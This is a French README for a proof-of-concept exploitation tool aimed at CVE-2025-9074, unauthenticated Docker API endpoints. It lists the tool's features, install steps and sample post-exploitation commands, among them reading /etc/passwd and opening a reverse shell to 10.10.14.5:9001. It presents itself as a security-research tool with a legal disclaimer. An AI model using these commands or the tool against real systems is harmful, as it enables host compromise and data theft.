CVE-2025-9074 | Docker API CVE-2025-9074 PoC (Preuve de concept)

Un framework d'exploitation sophistiqué pour CVE-2025-9074, ciblant les points de terminaison d'API Docker non authentifiés avec un shell de commande interactif intégré.

Aperçu

Cet outil automatise l'exploitation d'instances Docker exposées via leur API sans authentification, permettant de créer des conteneurs et d'exécuter des commandes sur l'hôte cible. L'outil dispose d'un shell interactif personnalisé pour des opérations de post-exploitation fluides.

Remarque : Il s'agit d'une implémentation PoC personnalisée. Je n'ai pas découvert CVE-2025-9074.

Démonstration

Exploitation initiale

Détection automatisée des vulnérabilités, téléchargement d'images, création et initialisation de conteneurs

Exécution interactive de commandes

Shell de post-exploitation avec capacités d'exécution de commandes

Fonctionnalités clés

• Analyse automatisée des vulnérabilités de l'API Docker
• Déploiement de conteneurs avec montage du système de fichiers hôte
• Shell interactif de post-exploitation
• Interface d'exécution de commandes à distance
• Module de déploiement de reverse shell
• Sortie terminal en couleur pour une meilleure visibilité

Installation

1. Cloner le dépôt

git clone https://github.com/xwpdx0/poc-2025-9074

2. Compiler le code

gcc poc.c -o poc-2025-9074

ou vous pouvez télécharger le binaire depuis les Releases

Utilisation

./poc-2025-9074

Cible par défaut

Exécuter l'outil contre la cible par défaut (127.0.0.1:2375) :

./poc-2025-9074

Cible personnalisée

Spécifier un point de terminaison d'API Docker personnalisé :

Shell interactif

Une fois l'exploitation réussie, un shell interactif fournit les commandes suivantes :

Exemples d'utilisation

(PoC-CVE-2025-9074)> cmd whoami
(PoC-CVE-2025-9074)> cmd cat /etc/passwd
(PoC-CVE-2025-9074)> cmd ls -la /mnt
(PoC-CVE-2025-9074)> revshell 10.10.14.5 9001
(PoC-CVE-2025-9074)> info

Détails de la vulnérabilité

CVE-2025-9074 affecte les instances Docker dont les points de terminaison d'API sont exposés sans mécanismes d'authentification appropriés. Cette mauvaise configuration permet un accès non autorisé au démon Docker, permettant :

• Création arbitraire de conteneurs
• Accès au système de fichiers hôte via des montages bind
• Opportunités d'élévation de privilèges
• Exécution de code à distance

Avertissement légal

Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés.

• À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test
• L'accès non autorisé à des systèmes informatiques est illégal et puni par la loi
• L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil
• Les utilisateurs sont seuls responsables du respect des lois et réglementations applicables

Auteur

xwpd (@xwpdx0)

Licence

Licence MIT — Voir le fichier LICENSE pour plus de détails

Uniquement à des fins de divulgation responsable et de recherche en sécurité.